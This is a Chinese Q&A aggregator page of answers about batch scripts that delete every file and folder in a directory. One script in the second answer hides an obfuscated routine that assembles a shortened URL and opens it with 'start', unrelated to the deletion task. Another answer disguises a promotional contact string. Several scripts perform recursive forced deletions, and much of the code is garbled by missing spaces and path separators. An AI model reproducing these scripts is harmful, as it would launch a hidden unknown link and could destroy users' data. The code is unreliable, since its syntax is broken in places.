當前位置:首頁 » 文件管理 » 批處理刪除所有文件夾

批處理刪除所有文件夾

發布時間: 2022-04-17 17:58:33

⑴ 如何用批處理刪除所在文件夾內的全部文件和文件夾。

我的思路是
用dir
for
if
這三個命令
先用dir顯示出所有文件的生成時間
之後用for處理下
去掉dir開頭判斷的盤符什麼的
之後把時間留下來
在套上if進行對比
比如說今天10號
把時間跟7比較
那麼小於7的進行刪除
具體不怎麼會寫
剛剛接觸到for命令
可以互相探討

⑵ 批處理刪除文件夾下所有文件和文件夾,但是排除包含「勿刪」字樣的文件夾,該怎麼寫

@echo off & title 刪除所有文件/夾(特定文件夾需保留) By 依夢琴瑤

cd /d "%%~dp0"


::設置要處理的主目錄路徑

set ScrFolder=D:AAA


::設置要排除包含的字元,多個字元之間,請用英文逗號隔開,包含空格,特殊字元的請用英文雙引號將其括起來

set SkipStr=勿刪


cd /d "%ScrFolder%"

for /f "delims=" %%a in ('dir /ad-h') do (

for %%i in (%SkipStr%) do (

echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"

)

)

for /f "delims=" %%a in ('dir /a-d-h') do (

del /f /q "%%~a"

)

pause


call :GVME

exit


:GVME

set "S1=.:ailnhpst/"

set "S0=fPdv"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


腳本保存時請比對原文,保存編碼設為ANSI。否則可能會導致腳本運行出錯。

⑶ 刪除整個文件夾的批處理命令

@echo
off
for
/r
"C:\Documents
and
Settings\Owner\Application
Data"
%%i
in
(.)
do
if
"%%i"
neq
"C:\Documents
and
Settings\Owner\Application
Data\."
rd
/s/q/f
"%%i"
del
/f/q
*.*
第二句刪所有子目錄,第三句刪一級目錄下所有文件
/r後面的路徑是要刪除的路徑
不要弄錯了
不然你就爽了。。。

⑷ 請問:如何批處理刪除文件夾及其所有子文件夾下N天前所有文件

當文件夾裡面的某一個文件當前時間被修改過,這個文件夾的修改時間就會變成當前時間.
以刪除30天以前的文件夾為例.如果一個文件夾的最後時間都是30天以前.
那麼在30天以內該文件夾下的所有文件都沒有被修改過.
而一個文件夾如果不在30天以前,那麼也可能文件夾下的某些文件是在30天以前的.
根據這個思路.先刪除30天以前的文件夾.
再刪除30天以內文件夾下所有30天以前的文件.
那麼就結果就如下:
forfiles -D -30 /M * /C "cmd /c rd @file /s /q"
forfiles -D -30 /S /M * /C "cmd /c del @path /s /q"
兩行批處理即可搞定

⑸ 文件批處理,保留某個或多個文件而刪除其它全部文件夾

dos下面沒有專用於搜索文件的命令
但是我們可能藉助於dir這個命令來幫我們東西
如果要顯示c:windows這個文件夾中的exe文件,鍵入dir
*.exe就行了
dos還有一個find命令,但是用來找字元,而不是文件的。
至於文件夾,就更不可能實現了。所以你的要求無法用批處理實現。

⑹ 請教如何批處理刪除指定文件夾中的所有文件(保留子文件夾)

不清楚你的實際文件/情況,僅以問題中的樣例/說明為據
復制粘貼到記事本,另存為xx.bat,編碼選ANSI

@echooff
rem刪除文件,保留文件夾
set#=Anyquestion&set@=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%@%%z%
set"folder=D:xxxxaa"
ifnotexist"%folder%"(echo;"%folder%"notfound&gotoend)
del/a/f/q"%folder%*.*"
:end
echo;%#%+%$%%$%/%@%%z%
pause
exit

⑺ 批處理刪除文件夾下所有文件

1、右鍵單擊桌面上的任意位置→新建→文本文檔。

⑻ 如何用批處理刪除指定文件夾以及文件里所有文件

@echooff
for/f"tokens=2delims=="%%iin('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
for/f"delims="%%jin('dir/s/b/ad"%%i"^|findstr/x"A"')doseta=%%j&&gotonext
)
echo文件不存在!
pause>nul

:next
rd/s"%a%"
pause>nul

樓主是想全盤查找指定的文件夾然後再刪除對么


把A改成文件夾名就行

⑼ 如何寫批處理刪除某一文件夾下的所有文件

del /s/q/f "某個文件夾路徑\*"如果直接清空該文件,也就是連子文件夾都一起刪除,那麼用以下命令
rd /s/q "某個文件夾路徑"
md "某個文件夾路徑"

⑽ 批處理刪除文件夾命令

命令:DEL,刪除文件或目錄
增加參數:/F
參數說明:使用此參數即「DEL
/F」可刪除只讀文件。
增加參數:/S、/Q
參數說明:使用此參數即「DEL/S」作用與「RD/S」完全相同,即刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q,可取消刪除操作時的系統確認。
增加參數:/A
參數說明:刪除指定屬性或指定屬性以外的文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、
/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR
*.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S
*.*」表示刪除當前目錄下除系統文件以外的所有文件。

熱點內容
小米賬號密碼保險箱在哪裡 發布:2024-05-17 10:17:00 瀏覽:752
抖音引流腳本推薦 發布:2024-05-17 10:11:16 瀏覽:724
sql資料庫數據路徑 發布:2024-05-17 10:00:25 瀏覽:132
ftp伺服器程序 發布:2024-05-17 10:00:21 瀏覽:677
php中的函數 發布:2024-05-17 09:53:34 瀏覽:941
優質網站為什麼用ip伺服器 發布:2024-05-17 09:43:34 瀏覽:793
安卓機圖片存在哪裡 發布:2024-05-17 09:42:54 瀏覽:62
ip地址怎麼查看伺服器上的文件 發布:2024-05-17 09:29:51 瀏覽:980
軲輪演算法 發布:2024-05-17 09:29:10 瀏覽:96
安卓手機鎖屏密碼一般怎麼畫 發布:2024-05-17 09:29:05 瀏覽:348